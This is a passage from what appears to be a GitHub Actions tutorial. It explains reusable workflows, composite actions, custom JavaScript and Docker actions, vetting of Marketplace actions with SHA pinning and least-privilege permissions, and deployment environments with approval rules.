    outputs:
      deploy-url:
        description: "URL of the deployed application"
        value: ${{ jobs.deploy.outputs.url }}

The three input types — string, boolean, and number — cover the vast majority of use cases. Each input can have a default value and a required flag. Secrets follow a similar pattern but are always masked in logs.

Using Inputs, Secrets, and Outputs Inside the Reusable Workflow

Inside the reusable workflow, reference inputs with ${{ inputs.<name> }} and secrets with ${{ secrets.<name> }}. To expose outputs back to the caller, map job-level outputs up through the workflow_call outputs block.

yaml
# Jobs inside the reusable workflow
jobs:
  deploy:
    runs-on: ubuntu-latest
    outputs:
      url: ${{ steps.deploy-step.outputs.app_url }}
    steps:
      - uses: actions/checkout@v4

      - name: Deploy to ${{ inputs.environment }}
        id: deploy-step
        run: |
          if [ "${{ inputs.dry-run }}" = "true" ]; then
            echo "Dry run — skipping actual deploy"
            echo "app_url=https://dry-run.example.com" >> "$GITHUB_OUTPUT"
          else
            ./deploy.sh \
              --env "${{ inputs.environment }}" \
              --replicas "${{ inputs.replicas }}" \
              --token "${{ secrets.DEPLOY_TOKEN }}"
            echo "app_url=https://${{ inputs.environment }}.example.com" >> "$GITHUB_OUTPUT"
          fi

      - name: Notify Slack
        if: inputs.dry-run == false && secrets.SLACK_WEBHOOK != ''
        run: |
          curl -X POST "${{ secrets.SLACK_WEBHOOK }}" \
            -d '{"text":"Deployed to ${{ inputs.environment }}"}'

Calling a Reusable Workflow

The caller workflow references the reusable workflow with uses at the job level, not the step level. This is a critical distinction — you replace the entire runs-on + steps block with a single uses line. Inputs go under with, and secrets go under secrets.

yaml
# .github/workflows/release.yml (caller workflow)
name: Release Pipeline

on:
  push:
    tags: ["v*"]

jobs:
  staging:
    uses: my-org/shared-workflows/.github/workflows/deploy.yml@main
    with:
      environment: staging
      dry-run: false
      replicas: 2
    secrets:
      DEPLOY_TOKEN: ${{ secrets.STAGING_DEPLOY_TOKEN }}
      SLACK_WEBHOOK: ${{ secrets.SLACK_WEBHOOK }}

  production:
    needs: staging
    uses: my-org/shared-workflows/.github/workflows/deploy.yml@main
    with:
      environment: production
      replicas: 5
    secrets:
      DEPLOY_TOKEN: ${{ secrets.PROD_DEPLOY_TOKEN }}

  post-deploy:
    needs: production
    runs-on: ubuntu-latest
    steps:
      - run: echo "Deployed to ${{ needs.production.outputs.deploy-url }}"
Outputs flow through needs

The caller accesses reusable workflow outputs via needs.<job-id>.outputs.<output-name>, exactly like regular job dependencies. The reusable workflow's internal job structure is invisible to the caller.

The secrets: inherit Shorthand

Explicitly passing every secret can be tedious, especially when a reusable workflow needs many of them. The secrets: inherit keyword forwards all secrets from the caller to the reusable workflow automatically — including organization and repository-level secrets.

yaml
jobs:
  deploy:
    uses: my-org/shared-workflows/.github/workflows/deploy.yml@main
    with:
      environment: production
    secrets: inherit  # passes ALL caller secrets automatically

This is convenient but trades explicitness for brevity. In security-sensitive contexts, prefer passing secrets individually so it's clear which secrets each workflow receives.

Cross-Repository Reusable Workflows

Reusable workflows are most powerful when shared across repositories. The uses syntax supports three reference patterns:

PatternSyntaxUse Case
Same repository./.github/workflows/build.ymlInternal workflow composition
Another repositoryorg/repo/.github/workflows/build.yml@refShared org-wide pipelines
Pinned to SHAorg/repo/.github/workflows/build.yml@sha256Immutable, auditable references

For cross-repo calls, the reusable workflow's repository must be public, or if private, the caller repository must be in the same organization and the repository settings must explicitly allow access under Actions > General > Access.

yaml
# Pinning to a commit SHA for reproducibility
jobs:
  build:
    uses: my-org/platform-workflows/.github/workflows/node-ci.yml@a1b2c3d4e5f6
    with:
      node-version: "20"

  # Using a tag for semantic versioning
  lint:
    uses: my-org/platform-workflows/.github/workflows/lint.yml@v2.1.0
    secrets: inherit

Limitations and Gotchas

Reusable workflows are powerful, but they come with constraints you should know before designing your pipeline architecture.

LimitationDetail
Max 4 levels of nestingA reusable workflow can call another reusable workflow, up to 4 levels deep. Beyond that, GitHub rejects the run.
Caller cannot override jobs/stepsYou cannot inject, remove, or modify individual steps inside the reusable workflow. It runs as a sealed unit.
20 reusable workflows per fileA single caller workflow file can reference at most 20 reusable workflows.
env context not inheritedEnvironment variables set at the workflow level in the caller are not passed to the reusable workflow. Use inputs instead.
Strategy matrix in callerYou can use a matrix to call a reusable workflow multiple times with different inputs, but the reusable workflow itself cannot be parameterized beyond its declared inputs.
The nesting trap

If workflow A calls B, B calls C, C calls D, and D tries to call E — the run fails. Plan your hierarchy carefully. In practice, two levels (caller → reusable) covers most cases. If you're hitting three or more levels, consider flattening with composite actions instead.

Putting It All Together: Matrix + Reusable Workflow

A common real-world pattern is combining a matrix strategy in the caller with a reusable workflow. This lets you fan out the same pipeline across multiple targets without duplicating any configuration.

yaml
name: Deploy All Environments

on:
  workflow_dispatch:

jobs:
  deploy:
    strategy:
      matrix:
        environment: [staging, production]
        include:
          - environment: staging
            replicas: 2
          - environment: production
            replicas: 5
    uses: my-org/shared-workflows/.github/workflows/deploy.yml@v1.4.0
    with:
      environment: ${{ matrix.environment }}
      replicas: ${{ matrix.replicas }}
    secrets: inherit
Version your reusable workflows

Use git tags (@v1.4.0) or commit SHAs to pin reusable workflow references. Pointing to a branch like @main means every caller gets changes immediately — convenient for development, risky for production. Treat shared workflows like library releases.

Composite Actions: Reusable Step Sequences

A composite action bundles multiple workflow steps into a single, reusable unit. Unlike JavaScript or Docker actions, composite actions are defined entirely in YAML — no programming language required. You package them in an action.yml file, and callers invoke them with uses: just like any other action.

This makes composite actions the fastest path to DRY workflows. If you find yourself copying the same three or four steps across repositories, a composite action turns them into a single line.

The action.yml Structure

Every composite action lives in an action.yml file at the root of a repository (or a subdirectory). The file has four top-level sections: metadata, inputs, outputs, and the runs block that defines the actual steps.

yaml
name: 'Setup and Build'
description: 'Install dependencies and build the project'

inputs:
  node-version:
    description: 'Node.js version to use'
    required: false
    default: '20'
  build-script:
    description: 'The npm script to run for building'
    required: false
    default: 'build'

outputs:
  artifact-path:
    description: 'Path to the build output directory'
    value: ${{ steps.build.outputs.dist-path }}

runs:
  using: 'composite'
  steps:
    - name: Setup Node.js
      uses: actions/setup-node@v4
      with:
        node-version: ${{ inputs.node-version }}

    - name: Install dependencies
      run: npm ci
      shell: bash

    - name: Build project
      id: build
      run: |
        npm run ${{ inputs.build-script }}
        echo "dist-path=./dist" >> "$GITHUB_OUTPUT"
      shell: bash

Let's break down each section and its rules.

Inputs and Defaults

Inputs let callers parameterize your action. Each input has a description, an optional required flag, and an optional default value. Inside your steps, you reference them with the ${{ inputs.<name> }} expression — not env or github context.

yaml
inputs:
  environment:
    description: 'Target deployment environment'
    required: true
  cache-dependency-path:
    description: 'Path to lockfile for caching'
    required: false
    default: 'package-lock.json'

When required: true is set and the caller omits the input, the workflow fails at the point where the action is invoked. Inputs with defaults are always safe to omit.

Outputs and Value Expressions

Composite actions surface values back to the caller through outputs. Each output declares a value that references a step's output using the steps.<id>.outputs.<key> context. The step must set the output explicitly using GITHUB_OUTPUT.

yaml
outputs:
  image-tag:
    description: 'The Docker image tag that was built'
    value: ${{ steps.docker.outputs.tag }}
  cache-hit:
    description: 'Whether the cache was restored'
    value: ${{ steps.cache.outputs.cache-hit }}

The caller accesses these through ${{ steps.<step-id>.outputs.<output-name> }}, where <step-id> is the id assigned to the step that called the composite action.

The Steps Array: run and uses

The runs.steps array is where composite actions do their work. Each step can be one of two types: a run step that executes a shell command, or a uses step that calls another action. You can mix them freely.

Shell is required for every run step

Unlike regular workflow steps, composite action run steps must explicitly specify a shell: value. There is no default. Common choices are bash, pwsh, and python.

Here is a composite action that mixes both step types — it uses a third-party action to restore a cache, then runs shell commands to build and test:

yaml
runs:
  using: 'composite'
  steps:
    - name: Restore npm cache
      id: cache
      uses: actions/cache@v4
      with:
        path: ~/.npm
        key: npm-${{ runner.os }}-${{ hashFiles('**/package-lock.json') }}

    - name: Install dependencies
      run: npm ci
      shell: bash

    - name: Run linter
      run: npm run lint
      shell: bash

    - name: Run tests
      run: npm test -- --coverage
      shell: bash

Calling a Composite Action

Consumers reference your composite action from a workflow step using uses:. If the action lives in a public repository, point to the repo and a ref. For actions within the same repository, use a relative path.

yaml
jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4

      # From a public repository (pinned to a tag)
      - name: Setup and Build
        id: build
        uses: my-org/setup-build-action@v2
        with:
          node-version: '18'
          build-script: 'build:prod'

      # Read the action's output
      - name: Upload artifact
        run: echo "Built to ${{ steps.build.outputs.artifact-path }}"
        shell: bash

      # From a local path (same repository)
      - name: Run deploy steps
        uses: ./.github/actions/deploy

Composite Actions vs. Reusable Workflows

Both composite actions and reusable workflows reduce duplication, but they operate at different levels. Composite actions are step-level — they slot into a job alongside other steps. Reusable workflows are job-level — they encapsulate one or more entire jobs with their own runs-on and environment.

FeatureComposite ActionReusable Workflow
ScopeRuns as steps within the caller's jobRuns as a separate job (or multiple jobs)
RunnerShares the caller's runnerSpecifies its own runs-on
SecretsInherits caller's environment automaticallyMust be passed explicitly or use secrets: inherit
NestingCan call other actions (including composites)Can call other reusable workflows (max 4 levels deep)
HostingAny repo, referenced via uses: path or refMust live in a .github/workflows/ directory
ConditionalsPer-step if: onlyFull job-level if:, strategy matrix, environment protections
When to pick which

Use a composite action when you want to package a handful of steps that run on the caller's runner — setup tasks, build sequences, or notification logic. Use a reusable workflow when you need to encapsulate an entire job with its own runner, matrix strategy, environment protections, or when orchestrating multiple parallel jobs.

Practical Tips

Forward environment variables with caution

Composite action steps do not automatically inherit env: variables set at the workflow or job level. If you need an environment variable inside the action, either pass it as an explicit input or re-export it in a run step within the action.

yaml
# Inside your composite action — map an input to an env var
- name: Deploy
  run: ./deploy.sh
  shell: bash
  env:
    TARGET_ENV: ${{ inputs.environment }}
    AWS_REGION: ${{ inputs.aws-region }}

Version your composite actions

Tag releases with semantic versions (v1, v1.2.0) and maintain a major-version tag that floats to the latest compatible release. This lets consumers pin to @v1 for stability while you ship patches and minor improvements without breaking their workflows.

Watch out for GITHUB_TOKEN scope

A composite action runs with the same GITHUB_TOKEN permissions as the calling workflow. If your action needs to push commits or create releases, the caller must grant those permissions in their workflow's permissions: block — the action itself cannot escalate them.

Building Custom Actions: JavaScript and Docker

GitHub's built-in actions cover common scenarios, but most real projects eventually need custom logic — enforcing team conventions, integrating with internal APIs, or orchestrating complex deploy sequences. GitHub Actions gives you two primary authoring models: JavaScript actions that run directly on the runner's Node.js runtime, and Docker container actions that package an entire environment into an image.

JavaScript actions are faster to start (no container build), while Docker actions let you use any language or system dependency. Understanding both lets you pick the right tool for the job.

Anatomy of a JavaScript Action

Every action — JavaScript or Docker — begins with an action.yml metadata file at the root of the action's repository (or subdirectory). This file declares the action's name, inputs, outputs, and how it runs.

action.yml
name: 'PR Label Checker'
description: 'Validates that a PR has at least one required label'
inputs:
  required-labels:
    description: 'Comma-separated list of valid labels'
    required: true
  github-token:
    description: 'GitHub token for API access'
    required: true
    default: ${{ github.token }}
outputs:
  matched-label:
    description: 'The first matching label found on the PR'
runs:
  using: 'node20'
  main: 'dist/index.js'

The runs.using field tells GitHub this is a JavaScript action targeting Node.js 20. The main field points to the compiled entry point — typically the bundled output, not your source file.

The @actions/core Toolkit

GitHub provides the @actions/core package as the primary interface between your code and the runner. It handles input parsing, output setting, logging, and failure signaling. These are the functions you'll reach for most often.

javascript
const core = require('@actions/core');

try {
  // Read inputs declared in action.yml
  const requiredLabels = core.getInput('required-labels', { required: true });
  const labels = requiredLabels.split(',').map(l => l.trim());

  // Logging at different severity levels
  core.info(`Checking for labels: ${labels.join(', ')}`);
  core.warning('No "bug" label found — is this intentional?');
  core.error('Critical: PR has conflicting labels');

  // Set outputs for downstream steps
  core.setOutput('matched-label', labels[0]);

} catch (error) {
  // setFailed marks the action as failed and logs the message
  core.setFailed(`Action failed: ${error.message}`);
}
FunctionPurposeEffect on Workflow
getInput(name, opts)Read an input value from action.ymlThrows if required: true and missing
setOutput(name, value)Set an output for downstream stepsAvailable via steps.<id>.outputs.<name>
setFailed(message)Fail the action with a messageStep exits with non-zero code
info(message)Print informational log lineVisible in workflow logs
warning(message)Print a warning annotationYellow warning badge in PR
error(message)Print an error annotationRed error badge in PR
setSecret(value)Mask a value in all logsValue replaced with ***

Accessing the GitHub API with @actions/github

Most custom actions need to interact with GitHub — reading PR data, posting comments, or creating issues. The @actions/github package provides a pre-authenticated Octokit client and the full event context, so you don't need to set up authentication manually.

javascript
const core = require('@actions/core');
const github = require('@actions/github');

async function run() {
  const token = core.getInput('github-token', { required: true });
  const octokit = github.getOctokit(token);

  // Context gives you repo, event payload, actor, etc.
  const { owner, repo } = github.context.repo;
  const prNumber = github.context.payload.pull_request?.number;

  if (!prNumber) {
    core.setFailed('This action only works on pull_request events');
    return;
  }

  // Fetch labels on the PR
  const { data: labels } = await octokit.rest.issues.listLabelsOnIssue({
    owner,
    repo,
    issue_number: prNumber,
  });

  core.info(`PR #${prNumber} has labels: ${labels.map(l => l.name).join(', ')}`);
}

run();

Bundling with ncc

JavaScript actions must ship with all dependencies — the runner doesn't run npm install for you. The standard approach is to compile everything into a single file using @vercel/ncc. This avoids committing a massive node_modules directory.

bash
# Install ncc as a dev dependency
npm install --save-dev @vercel/ncc

# Bundle src/index.js into dist/index.js (single file, all deps inlined)
npx ncc build src/index.js -o dist --source-map --license licenses.txt

# Commit the dist/ folder — this is what the runner executes
git add dist/
git commit -m "build: bundle action with ncc"
Why commit the dist/ folder?

When a workflow references your action at uses: you/action@v1, GitHub clones that tag and runs the main file directly. There's no build step. The compiled dist/index.js must already exist in the repository at that ref. Add a CI workflow to your action repo that verifies the bundle is up to date.

Building Docker Container Actions

Docker actions wrap your code in a container image — useful when your action needs specific OS packages, non-Node runtimes (Python, Go, Rust), or a reproducible filesystem. The trade-off is a slower cold start because the image must be built or pulled on every run.

action.yml for Docker

The metadata file looks similar, but the runs section specifies a Dockerfile instead of a Node.js entry point.

action.yml
name: 'Security Scanner'
description: 'Runs a custom security scan using system tools'
inputs:
  scan-path:
    description: 'Directory to scan'
    required: true
    default: '.'
  severity-threshold:
    description: 'Minimum severity to report (low, medium, high, critical)'
    required: false
    default: 'medium'
runs:
  using: 'docker'
  image: 'Dockerfile'
  args:
    - ${{ inputs.scan-path }}
    - ${{ inputs.severity-threshold }}

Dockerfile Requirements

GitHub Actions expects a specific contract from your Dockerfile: it must have an ENTRYPOINT that runs your script. Inputs are passed both as args (positional) and as environment variables prefixed with INPUT_ (uppercased, hyphens replaced with underscores).

docker
FROM alpine:3.19

RUN apk add --no-cache bash curl jq

COPY entrypoint.sh /entrypoint.sh
RUN chmod +x /entrypoint.sh

ENTRYPOINT ["/entrypoint.sh"]

Entrypoint Script

Your entrypoint receives inputs two ways: as positional arguments (from args in action.yml) and as environment variables. The environment variable approach is more reliable for inputs with special characters.

bash
#!/bin/bash
set -euo pipefail

# Inputs via environment variables (INPUT_<NAME> uppercased, hyphens → underscores)
SCAN_PATH="${INPUT_SCAN_PATH:-.}"
SEVERITY="${INPUT_SEVERITY_THRESHOLD:-medium}"

echo "Scanning ${SCAN_PATH} for issues at severity >= ${SEVERITY}"

# Run your tool
RESULTS=$(find "$SCAN_PATH" -name "*.lock" -exec sha256sum {} \;)

if [ -z "$RESULTS" ]; then
  echo "::warning::No lock files found to scan"
else
  echo "$RESULTS"
fi

# Set outputs using workflow commands
echo "scan-status=complete" >> "$GITHUB_OUTPUT"
Docker actions only run on Linux runners

Docker container actions require a Linux-based runner (ubuntu-latest, self-hosted Linux). They will not execute on macos-latest or windows-latest. If cross-platform support matters, use a JavaScript action instead.

JavaScript vs. Docker: Choosing the Right Model

CriteriaJavaScript ActionDocker Action
Startup speed~1–2 seconds30s–2min (image build/pull)
Runner compatibilityLinux, macOS, WindowsLinux only
LanguageJavaScript / TypeScript onlyAny language
System dependenciesLimited to runner's OS packagesFull control via Dockerfile
ReproducibilityDepends on runner's Node versionFully isolated environment
Best forAPI integrations, label/comment botsCLI tools, scanners, multi-lang builds

Testing Actions Locally

Waiting for a full GitHub Actions run on every change is painfully slow. You can test most of the logic locally before pushing, using different strategies for each action type.

Testing JavaScript Actions

Since your action is just a Node.js script, you can invoke it directly by setting the environment variables that @actions/core reads under the hood.

bash
# Set inputs as environment variables (INPUT_<NAME> uppercased)
export INPUT_REQUIRED-LABELS="bug,feature,docs"
export INPUT_GITHUB-TOKEN="ghp_test1234567890"

# Provide a mock GITHUB_OUTPUT file
export GITHUB_OUTPUT=$(mktemp)

# Run the action entry point
node src/index.js

# Check outputs
cat "$GITHUB_OUTPUT"

For unit testing, mock the @actions/core and @actions/github modules. Jest works well here:

javascript
jest.mock('@actions/core');
jest.mock('@actions/github');

const core = require('@actions/core');
const github = require('@actions/github');

test('fails when no PR number is present', async () => {
  // Simulate a push event (no pull_request in payload)
  github.context = { repo: { owner: 'acme', repo: 'app' }, payload: {} };
  core.getInput = jest.fn().mockReturnValue('bug,feature');

  const { run } = require('../src/index');
  await run();

  expect(core.setFailed).toHaveBeenCalledWith(
    expect.stringContaining('pull_request')
  );
});

Testing Docker Actions

Build and run the container locally, passing inputs as environment variables:

bash
# Build the action image
docker build -t my-security-scanner .

# Run with simulated inputs and a mock GITHUB_OUTPUT
docker run --rm \
  -e INPUT_SCAN_PATH="/workspace" \
  -e INPUT_SEVERITY_THRESHOLD="high" \
  -e GITHUB_OUTPUT="/dev/stdout" \
  -v "$(pwd):/workspace" \
  my-security-scanner

Publishing to the GitHub Marketplace

Once your action works, publishing it makes it discoverable to the community. The process is straightforward but has a few requirements that are easy to miss.

  1. Prepare your repository

    The action must live in a public repository. Your action.yml must include name, description, and author fields. Add a branding section to control how the action appears in the Marketplace.

    yaml
    name: 'PR Label Checker'
    description: 'Validates that a PR has at least one required label'
    author: 'your-username'
    branding:
      icon: 'tag'
      color: 'blue'
  2. Create a versioned release

    Tag your commit with a semantic version and create a GitHub release. Use major version tags (like v1) as floating pointers so consumers get patches automatically.

    bash
    # Tag a specific version
    git tag -a v1.2.0 -m "Release v1.2.0: add severity filtering"
    git push origin v1.2.0
    
    # Move the major version tag (consumers use this)
    git tag -fa v1 -m "Update v1 tag"
    git push origin v1 --force
  3. Publish via the GitHub UI

    Go to your repository's Releases page, draft a new release from your tag, and check "Publish this action to the GitHub Marketplace". GitHub validates your action.yml before allowing publication. Once published, anyone can reference your action with uses: your-username/action-name@v1.

Automate your action's own CI

Add a workflow to your action's repository that runs tests, builds with ncc, and verifies that the dist/ output is up to date. This catches the common mistake of editing source code but forgetting to rebuild before pushing. The actions/toolkit repository has great examples of this pattern.

GitHub Actions Marketplace and Evaluating Community Actions

The GitHub Actions Marketplace is a central directory of over 20,000 community-built actions that extend your workflows. Instead of writing custom scripts for common tasks — checking out code, setting up runtimes, deploying to cloud providers — you reference a pre-built action and move on. The marketplace saves enormous amounts of time, but using third-party code in your CI/CD pipeline is a trust decision that deserves careful evaluation.

Navigating the Marketplace

The marketplace lives at github.com/marketplace and organizes actions into categories like Continuous Integration, Deployment, Security, Code Quality, and Utilities. You can search by keyword, filter by category, and sort by popularity. Each listing shows the action's README, usage examples, and a link to its source repository.

A key signal to look for is the verified creator badge. GitHub grants this badge to organizations that have gone through a domain verification process. Actions from actions/* (GitHub's own), aws-actions/*, google-github-actions/*, azure/*, and docker/* all carry this badge. It doesn't guarantee the code is bug-free, but it confirms the publisher is who they claim to be.

Note

You don't need to use the marketplace website to discover actions. You can reference any public repository as an action in your workflow using the owner/repo@ref syntax, whether or not it's listed in the marketplace.

Evaluating Action Quality

Before adding a community action to your pipeline, run it through a checklist. A popular action isn't automatically a safe or well-maintained one. Here are the signals that matter, ranked roughly by importance.

SignalWhat to Look ForRed Flag
Maintenance activityRecent commits, releases within the last 3-6 monthsNo commits in over a year; stale dependency updates
Open issues & PRsResponsive maintainers; issues triaged and closedHundreds of unanswered issues; critical bugs ignored
Stars & usageHigh star count; "Used by" shows wide adoptionVery few stars with no clear organizational backing
Security practicesPinned dependencies, code review, signed releasesNo action.yml input validation; shell injection patterns
Source transparencyReadable source code; TypeScript/JavaScript you can auditCompiled/minified dist with no source; Docker image from unknown registry
LicensePermissive open-source license (MIT, Apache 2.0)No license file at all

The "Used by" count on the repository page is one of the most underrated signals. An action with 5,000 stars but only used in 20 repositories might be getting stars from a viral README. An action used by 10,000+ repositories has been battle-tested across diverse environments.

Risks of Third-Party Actions

Every third-party action you use runs code inside your workflow runner with the permissions you've granted. This is powerful and dangerous. The primary risks break down into three categories.

Supply Chain Attacks

If a maintainer's account is compromised, an attacker can push malicious code to a tag your workflow references. This happened in the real world with the codecov/codecov-action incident in 2021 and more recently with tj-actions/changed-files in 2025. When you reference some-action@v3, that mutable tag can be pointed at any commit — including a compromised one.

Secret Exfiltration

A malicious or compromised action can read environment variables and secrets, then exfiltrate them to an external server. Your GITHUB_TOKEN, cloud credentials, and API keys are all accessible to every action step in a job unless you carefully scope permissions.

Code Injection

Actions that process untrusted input (issue titles, PR body text, branch names) without sanitization can be exploited for arbitrary code execution via shell injection.

Mitigation Strategies

You don't need to avoid community actions — you need to use them with guardrails. The following practices significantly reduce your exposure to supply chain risks.

Pin actions to full commit SHAs

This is the single most important practice. Instead of referencing a mutable tag like v4, pin to the exact commit hash. This ensures that even if the tag is moved to point at compromised code, your workflow continues using the version you audited.

yaml
# ❌ Mutable tag — vulnerable to tag hijacking
- uses: actions/checkout@v4

# ✅ Pinned to full SHA — immutable reference
- uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

Add a trailing comment with the version number so humans can still tell which release you intended. Tools like Dependabot and Renovate can automatically update these SHA pins when new versions are released, so you don't lose the convenience of staying current.

Restrict workflow permissions

Apply the principle of least privilege to your GITHUB_TOKEN. Set restrictive defaults at the workflow level and only grant additional permissions where specific jobs need them.

yaml
permissions:
  contents: read   # default: read-only access to repo
  issues: none
  pull-requests: none

jobs:
  deploy:
    permissions:
      contents: read
      id-token: write  # only this job gets OIDC token

Fork critical actions into your organization

For actions that touch secrets or run in production deployment pipelines, consider forking the repository into your own organization. You control when updates are merged, and you're immune to upstream compromises. The tradeoff is maintenance overhead — you need to manually pull upstream changes.

Warning

Never set permissions: write-all at the workflow level. A single compromised action in any job could then push code to your repository, create releases, or modify issues. Always grant the minimum scope needed.

Essential Community Actions Worth Knowing

Certain community actions have become de facto standards in the ecosystem. These are widely adopted, actively maintained, and backed by verified creators or well-known organizations. Here's a curated list covering the most common CI/CD needs.

ActionPurposePublisher
actions/checkoutClone your repository into the runnerGitHub
actions/setup-nodeInstall and cache Node.js versionsGitHub
actions/setup-pythonInstall and cache Python versionsGitHub
actions/cacheCache dependencies and build outputsGitHub
actions/upload-artifactUpload build artifacts between jobsGitHub
docker/build-push-actionBuild and push Docker imagesDocker (verified)
docker/login-actionAuthenticate to container registriesDocker (verified)
aws-actions/configure-aws-credentialsAuthenticate to AWS via OIDC or keysAWS (verified)
google-github-actions/authAuthenticate to Google Cloud via OIDCGoogle (verified)
azure/loginAuthenticate to Azure via OIDC or service principalMicrosoft (verified)
softprops/action-gh-releaseCreate GitHub releases with assetsCommunity
peter-evans/create-pull-requestProgrammatically create or update pull requestsCommunity

For the first-party actions/* actions, referencing by tag (e.g., @v4) is reasonably safe since GitHub controls those repositories directly. For everything else — even verified publishers — SHA pinning is the recommended practice for production workflows.

Tip

Use the step-security/harden-runner action as the first step in your jobs. It monitors outbound network calls, file system changes, and process activity — giving you visibility into exactly what every action in your pipeline is doing.

Putting It Together: A Hardened Workflow Example

Here's what a security-conscious workflow looks like in practice. It combines SHA pinning, minimal permissions, and well-known actions for a typical Node.js CI pipeline.

yaml
name: CI
on:
  pull_request:
    branches: [main]

permissions:
  contents: read

jobs:
  build-and-test:
    runs-on: ubuntu-latest
    steps:
      - uses: step-security/harden-runner@17d0e2bd7d51742c71671bd6fa0f6f4e912c8a44 # v2.11.0
        with:
          egress-policy: audit

      - uses: actions/checkout@b4ffde65f46336ab88eb53be808477a3936bae11 # v4.1.1

      - uses: actions/setup-node@60edb5dd545a775178f52524783378180af0d1f8 # v4.0.2
        with:
          node-version: 20
          cache: npm

      - run: npm ci
      - run: npm test
      - run: npm run build

Every action is pinned to a commit SHA with a human-readable version comment. The workflow requests only contents: read permission. The harden-runner step at the top provides runtime visibility. This pattern balances security with developer experience — and tools like Dependabot keep the SHA pins up to date automatically.

Environments, Deployment Protection Rules, and Approvals

GitHub Actions environments are named deployment targets — like staging, production, or qa — that you configure at the repository level. Each environment can carry its own secrets, variables, and protection rules that control when and how a job is allowed to run against that target.

Environments give you a clean separation between "build and test" jobs (which run freely) and "deploy" jobs (which require guardrails). The protection rules are enforced by GitHub itself, not by your workflow code, so they can't be bypassed by editing the YAML.

sequenceDiagram
    participant Dev as Developer
    participant GH as GitHub Actions
    participant Stg as Staging Environment
    participant Rev as Reviewer
    participant Prod as Production Environment

    Dev->>GH: Merge PR to main
    GH->>Stg: Deploy to staging (automatic)
    Stg-->>GH: Deployment succeeded
    GH->>Rev: Request approval for production
    Note over GH,Rev: Job pauses — waiting for approval
    Rev->>GH: Approve deployment
    GH->>Prod: Deploy to production
    Prod-->>GH: Deployment succeeded
    

Referencing Environments in Workflow YAML

You attach an environment to a job using the environment key. When the workflow reaches that job, GitHub checks the environment's protection rules before the job's steps execute. Here's a minimal two-stage deployment workflow:

yaml
name: Deploy Pipeline

on:
  push:
    branches: [main]

jobs:
  deploy-staging:
    runs-on: ubuntu-latest
    environment: staging
    steps:
      - uses: actions/checkout@v4
      - run: ./deploy.sh --target staging
        env:
          API_KEY: ${{ secrets.API_KEY }}

  deploy-production:
    runs-on: ubuntu-latest
    needs: deploy-staging
    environment:
      name: production
      url: https://myapp.example.com
    steps:
      - uses: actions/checkout@v4
      - run: ./deploy.sh --target production
        env:
          API_KEY: ${{ secrets.API_KEY }}

Notice the two forms of the environment key. The short form (environment: staging) just names the target. The object form lets you also set a url, which GitHub displays as a clickable link on the deployment status in pull requests and the repository's deployments page.

Deployment Protection Rules

Protection rules are configured in the repository settings under Settings → Environments → [environment name]. There are three built-in rule types, and they stack — a job must satisfy all of them before it proceeds.

Protection RuleWhat It DoesConfiguration
Required Reviewers Pauses the job and requests approval from designated people or teams Up to 6 reviewers (individuals or teams); only 1 needs to approve
Wait Timer Delays the job by a fixed number of minutes after it's triggered (or approved) 0–43,200 minutes (up to 30 days)
Branch Restrictions Limits which branches (or tags) are allowed to deploy to this environment Name patterns like main, release/*, or refs/tags/v*

Required Reviewers

When a job targeting a protected environment is reached, GitHub pauses execution and notifies the designated reviewers. The workflow run shows a yellow "Waiting" badge. Any one of the listed reviewers (or any member of a listed team) can approve or reject.

yaml
# This job won't start until a reviewer approves it
deploy-production:
  runs-on: ubuntu-latest
  needs: [test, deploy-staging]
  environment:
    name: production
    url: https://myapp.example.com
  steps:
    - uses: actions/checkout@v4
    - name: Deploy to production
      run: |
        echo "Deploying commit ${{ github.sha }}"
        ./deploy.sh --target production
Note

Pending approval reviews time out after 30 days. If no one approves within that window, the workflow run is automatically cancelled. The person who triggered the run can also be a reviewer — GitHub doesn't prevent self-approval unless you configure your reviewer list to exclude the actor.

Wait Timer

A wait timer adds a mandatory delay (in minutes) before the job proceeds. This is useful for bake-time patterns — deploy to production, but wait 15 minutes before marking it complete so monitoring can catch issues. The timer runs after approval if required reviewers are also configured.

yaml
# With a 15-minute wait timer configured on the environment,
# this job waits 15 min after approval before steps run.
canary-deploy:
  runs-on: ubuntu-latest
  needs: deploy-staging
  environment:
    name: production-canary
  steps:
    - uses: actions/checkout@v4
    - run: ./deploy.sh --canary --percentage 5

Branch Restrictions

Branch restrictions prevent jobs on feature branches or forks from deploying to sensitive environments. If a workflow on the feature/login branch tries to use environment: production, and production is restricted to main, the job is skipped with an error.

yaml
# Even though the YAML references production, GitHub blocks it
# if the branch doesn't match the environment's allowed patterns.
deploy:
  runs-on: ubuntu-latest
  if: github.ref == 'refs/heads/main'
  environment: production
  steps:
    - run: ./deploy.sh
Tip

Always pair the if: github.ref == 'refs/heads/main' condition with branch restrictions on the environment. The if guard prevents the job from even being attempted (saving runner time), while the environment restriction is the server-side enforcement that can't be bypassed by editing the YAML.

Environment Secrets and Variables

Each environment can define its own secrets and variables. When a job runs with environment: staging, any environment-level secret with the same name as a repository-level secret takes precedence. This lets you use the same secret name (e.g., API_KEY) across your workflow while each environment resolves it to a different value.

yaml
# Both jobs use ${{ secrets.DATABASE_URL }} but get different values.
# staging resolves to the staging environment's DATABASE_URL.
# production resolves to the production environment's DATABASE_URL.

deploy-staging:
  runs-on: ubuntu-latest
  environment: staging
  steps:
    - run: ./migrate.sh
      env:
        DATABASE_URL: ${{ secrets.DATABASE_URL }}
        APP_ENV: ${{ vars.APP_ENV }}  # environment variable

deploy-production:
  runs-on: ubuntu-latest
  needs: deploy-staging
  environment: production
  steps:
    - run: ./migrate.sh
      env:
        DATABASE_URL: ${{ secrets.DATABASE_URL }}
        APP_ENV: ${{ vars.APP_ENV }}

The resolution order is: environment-levelrepository-levelorganization-level. The most specific scope wins. This applies to both secrets.* and vars.* contexts.

Putting It All Together

Here's a complete workflow that combines everything — a build job, a staging deploy (automatic, with environment secrets), and a production deploy (with required reviewers and branch restrictions configured on the environment):

yaml
name: Build and Deploy

on:
  push:
    branches: [main]

jobs:
  build:
    runs-on: ubuntu-latest
    steps:
      - uses: actions/checkout@v4
      - uses: actions/setup-node@v4
        with:
          node-version: 20
      - run: npm ci
      - run: npm run build
      - run: npm test
      - uses: actions/upload-artifact@v4
        with:
          name: dist
          path: dist/

  deploy-staging:
    runs-on: ubuntu-latest
    needs: build
    environment:
      name: staging
      url: https://staging.myapp.example.com
    steps:
      - uses: actions/download-artifact@v4
        with:
          name: dist
          path: dist/
      - run: |
          echo "Deploying to staging..."
          az webapp deploy \
